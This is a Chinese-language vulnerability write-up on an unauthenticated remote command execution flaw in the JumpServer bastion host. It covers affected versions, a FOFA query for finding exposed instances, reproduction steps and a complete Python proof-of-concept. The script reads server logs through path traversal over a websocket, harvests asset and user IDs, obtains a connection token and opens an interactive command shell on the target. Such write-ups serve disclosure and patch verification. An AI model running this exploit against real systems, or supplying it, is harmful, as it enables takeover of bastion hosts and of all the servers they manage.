# JumpServer 未授权接口 远程命令执行漏洞
## 漏洞描述
JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。 JumpServer 使用Python / Django 进行开发。2021年1月15日,阿里云应急响应中心监控到开源堡垒机JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器。
## 漏洞影响
> [!NOTE]
>
> JumpServer < v2.6.2
>
> JumpServer < v2.5.4
>
> JumpServer < v2.4.5
>
> JumpServer = v1.5.9
## FOFA
> [!NOTE]
>
> app="FIT2CLOUD-JumpServer-堡垒机"
## 环境搭建
安装 JumpServer v2.6.1 版本
[下载链接]( https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip)
> [!NOTE]
>
> 安装注意 配置网络,配置Mysql,配置Redis 选择 n
等待完成安装执行以下命令
```shell
cd /opt/jumpserver-installer-v2.6.1
./jmsctl.sh start
```
等待安装完毕访问 http://xxx.xxx.xxx.xxxx:8080
默认账号密码 amdin:admin
## 漏洞复现
进入后台添加配置
**资产管理 --> 系统用户**
![](image/jump-1.png)
**资产管理 --> 管理用户**
![](image/jump-2.png)
**用户管理 --> 用户列表**
![](image/jump-3.png)
**资产管理 --> 资产列表**
![](image/jump-4.png)
查看一下项目代码提交变动
![](image/jump-5.png)
```python
import time
import os
import threading
import json
from common.utils import get_logger
from .celery.utils import get_celery_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer
logger = get_logger(__name__)
class CeleryLogWebsocket(JsonWebsocketConsumer):
disconnected = False
def connect(self):
user = self.scope["user"]
if user.is_authenticated and user.is_org_admin:
self.accept()
else:
self.close()
def receive(self, text_data=None, bytes_data=None, **kwargs):
data = json.loads(text_data)
task_id = data.get("task")
if task_id:
self.handle_task(task_id)
def wait_util_log_path_exist(self, task_id):
log_path = get_celery_task_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None
def read_log_file(self, task_id):
task_log_f = self.wait_util_log_path_exist(task_id)
if not task_log_f:
logger.debug('Task log file is None: {}'.format(task_id))
return
task_end_mark = []
while not self.disconnected:
data = task_log_f.read(4096)
if data:
data = data.replace(b'\n', b'\r\n')
self.send_json(
{'message': data.decode(errors='ignore'), 'task': task_id}
)
if data.find(b'succeeded in') != -1:
task_end_mark.append(1)
if data.find(bytes(task_id, 'utf8')) != -1:
task_end_mark.append(1)
elif len(task_end_mark) == 2:
logger.debug('Task log end: {}'.format(task_id))
break
time.sleep(0.2)
task_log_f.close()
def handle_task(self, task_id):
logger.info("Task id: {}".format(task_id))
thread = threading.Thread(target=self.read_log_file, args=(task_id,))
thread.start()
def disconnect(self, close_code):
self.disconnected = True
self.close()
```
新版对用户进行了一个判断,可以使用 谷歌插件 WebSocket King 连接上这个websocket 进行日志读取
![](image/jump-6.png)
比如send这里获取的 Task id ,这里是可以获得一些敏感的信息的
![](image/jump-7.png)
查看一下连接Web终端的后端api代码
![](image/jump-8.png)
可以看到这里调用时必须需要 **user asset system_user** 这三个值,再获取一个20秒的 **token**
访问web终端后查看日志的调用
![](image/jump-9.png)
```
docker exec -it (jumpserve/core的docker) /bin/bash
cat gunicorn.log | grep /api/v1/perms/asset-permissions/user/validate/?
```
![](image/jump-10.png)
```
assset_id=ee7e7446-6df7-4f60-b551-40a241958451
system_user_id=d89bd097-b7e7-4616-9422-766c6e4fcdb8
user_id=efede3f4-8659-4daa-8e95-9a841dbe82a8
```
可以看到在不同的时间访问这个接口的asset_id等都是一样的,所以只用在 **刚刚的未授权日志读取**里找到想要的这几个值就可以获得 token
![](image/jump-18.png)
发送请求获取20s的token
![](image/jump-11.png)
看一下 koko.js 这个前端文件
![](image/jump-12.png)
后端代码 https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
![](image/jump-13.png)
这里我们就可以通过 获得的token来模拟请求
![](image/jump-14.png)
成功连接模拟了这个 token 的请求,可以在Network看一下流量是怎么发送的
![](image/jump-15.png)
模拟连接发送和接发数据
![](image/jump-16.png)
这里可以看到我们只要模拟了这个发送,返回的数据和web终端是一样的,那我们就可以通过这样的方法来进行命令执行了
## 漏洞利用POC
> [!NOTE]
>
> POC 里包含两个方法,一个是获取日志文件,另一个是命令执行
>
> 日志提取已经过滤了部分API调用的数据,只需要找到那几个值就好了
>
> 命令执行需要从日志中获取敏感数据并写入脚本对应的变量中
>
> 接收数据如果卡住请调整 for i in range(7) 这个位置的 7
```python
import requests
import json
import sys
import time
import asyncio
import websockets
import re
from ws4py.client.threadedclient import WebSocketClient
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mPOC_Des: https://www.o2oxy.cn/ \033[0m')
print('+ \033[34mVersion: JumpServer <= v2.6.1 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mCmd >>> whoami \033[0m')
print('+------------------------------------------')
class ws_long(WebSocketClient):
def opened(self):
req = '{"task":"peiqi/../../../../../logs/gunicorn"}'
self.send(req)
def closed(self, code, reason=None):
print("Closed down:", code, reason)
def received_message(self, resp):
resp = json.loads(str(resp))
# print(resp)
data = resp['message']
print(data)
if "/api/v1/perms/asset-permissions/user/validate/?" in data:
print(data)
async def send_msg(websocket, _text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))
async def main_logic(target_url):
print("\033[32m[o] 正在连接目标: {}\033[0m".format(target_url))
async with websockets.connect(target_url) as websocket:
recv_text = await websocket.recv()
resws = json.loads(recv_text)
id = resws['id']
print("\033[36m[o] 成功获取 ID: {}\033[0m".format(id))
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket, inittext)
for i in range(7):
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))
while True:
cmd = str(input("\033[35mcmd >>> \033[0m"))
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
await send_msg(websocket, cmdtext)
for i in range(1):
recv_text = await websocket.recv()
print(re.findall(r'"data":"(.*?)"', recv_text))
def POC_1(target_url):
vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1"
response = requests.get(url=vuln_url, timeout=5)
print(response.status_code)
ws_open = str(input("\033[32m[o] 是否想要提取日志(Y/N) >>> \033[0m"))
try:
if ws_open == "Y" or ws_open == "y":
ws = target_url.strip("http://")
try:
ws = ws_long('ws://{}/ws/ops/tasks/log/'.format(ws))
ws.connect()
ws.run_forever()
ws.close()
except KeyboardInterrupt:
ws.close()
else:
print("\033[31m[x] 目标漏洞已修复,无法获取敏感日志信息\033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 目标漏洞已修复,无法获取敏感日志信息,{}\033[0m".format(e))
sys.exit(0)
def POC_2(target_url, user, asset, system_user):
if target_url == "" or asset == "" or system_user == "":
print("\033[31m[x] 请获取 assset 等参数配置\033[0m")
sys.exit(0)
data = {"user": user, "asset": asset, "system_user": system_user}
vuln_url = target_url + "/api/v1/users/connection-token/?user-only=1"
# vuln_url = target_url + "/api/v1/authentication/connection-token/?user-only=1"
try:
response = requests.post(vuln_url, json=data, timeout=5).json()
print("\033[32m[o] 正在请求:{}\033[0m".format(vuln_url))
token = response['token']
print("\033[36m[o] 成功获取Token:{}\033[0m".format(token))
ws_url = target_url.strip("http://")
ws_url = "ws://" + ws_url + "/koko/ws/token/?target_id={}".format(token)
asyncio.get_event_loop().run_until_complete(main_logic(ws_url))
except Exception as e:
print("\033[31m[x] 请检查 assset 等参数配置,{}\033[0m".format(e))
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
user = "ed3460eb-3c70-4beb-b631-f8f91c39bdd1"
asset = "37fce0b0-cc4f-4822-8c33-afdebc888fa7"
system_user = "da09ddd7-fd3f-46c3-914d-752883a4d950"
POC_1(target_url)
POC_2(target_url, user, asset, system_user)
```
![](image/jump-19.png)
![](image/jump-20.png)